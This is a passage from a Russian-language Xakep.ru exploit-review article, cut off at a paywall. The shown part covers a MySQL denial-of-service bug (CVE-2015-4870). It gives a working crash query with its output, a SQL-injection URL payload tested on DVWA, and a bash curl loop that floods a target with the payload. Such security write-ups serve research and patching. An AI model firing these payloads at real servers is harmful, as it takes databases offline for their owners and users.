В сегодняшнем обзоре мы рассмотрим многочисленные уязвимости в IP-камере Motorola Focus. Помимо дефолтных и слабых паролей, там еще много интересного. К тому же ее прошивка используется и другими производителями, что открывает новые пути исследования. Также разберем DoS-уязвимость и хакерское использование функции procedure analyse() в MySQL.

 

DoS в функции procedure analyse() из MySQL

 

CVSSv2

Нет

 

BRIEF

Дата релиза: 29 мая 2016 года
Автор: @OsandaMalith
CVE: 2015-4870

Автор эксплоита нашел возможность вызвать DoS в MySQL версий до 5.5.45 включительно. В функции procedure analyse() падение происходит при обработке подзапроса.

Пример вызова функции:

select * from `table_name`
procedure analyse((select*from(select 1)x),1);

Соответственно, PoC будет таким:

select * from information_schema.tables
procedure analyse((select*from(select 1)x),1);

Проверка:

mysql> select * from information_schema.tables procedure analyse((select*from(select 1)x),1);
ERROR 2013 (HY000): Lost connection to MySQL server during query
mysql> select 1;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'localhost' (10061)
ERROR: Can't connect to the server
mysql>
Падение приложения MySQL
Падение приложения MySQL

Другой пример атаки — это запуск полезной нагрузки, которая была сохранена в файл и подана на вход mysql.exe (он показан на скриншоте ниже).

Перенаправление атаки на mysql.exe
Перенаправление атаки на mysql.exe

Если после появления сообщения о падении проверить лог вывода Event Viewer, то ты сможешь увидеть, что приложение mysqld.exe действительно упало. При этом смещение для указателя на ошибку будет равно 0x000607f4.

Лог вывода Event Viewer после падения mysqld
Лог вывода Event Viewer после падения mysqld

Если же мы подконнектимся к процессу с помощью IDA, то сможем увидеть, что падение происходит в структуре TABLE_LIST из-за поля, которое не было выделено.

Представление функции обработки таблиц в IDA
Представление функции обработки таблиц в IDA
 

EXPLOIT

В качестве тестового стенда автор использовал Damn Vulnerable Web Application (DVWA).

Если атакующий найдет веб-приложение, уязвимое к SQL-инъекции, то он сможет с легкостью провести DoS-атаку, MySQL-сервер перестанет отвечать и все используемые базы данных тоже перестанут быть доступными.

В Windows достаточно простого запроса для вызова падения и, скорее всего, понадобится ручная перезагрузка:

http://localhost/dvwa/vulnerabilities/sqli/?id=1' procedure analyse((select*from(select 1)x),1)-- -&Submit=Submit#
Пример атакующего запроса на тестовое приложение с MySQL
Пример атакующего запроса на тестовое приложение с MySQL

На *nix-системах mysqld автоматически восстанавливается, но если мы пошлем многочисленные GET-запросы с такой полезной нагрузкой, то база данных все равно упадет.

Пример такой атаки с помощью bash-скрипта, который использует cURL для GET-запросов:

while true;
do curl "http://host/?id=1%27%20procedure%20analyse%28%28select*from%28select%201%29x%29,1%29--%20-" > /dev/null 2>&1
done;

Помимо небольшого bash-скрипта, автор написал версию эксплоита на Python:

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Check Also

Из-за багов в прошивке BMC под угрозой оказались серверные решения Gigabyte и Lenovo

Инженеры Gigabyte и Lenovo опубликовали обновленные прошивки для серверных материнских пла…

Оставить мнение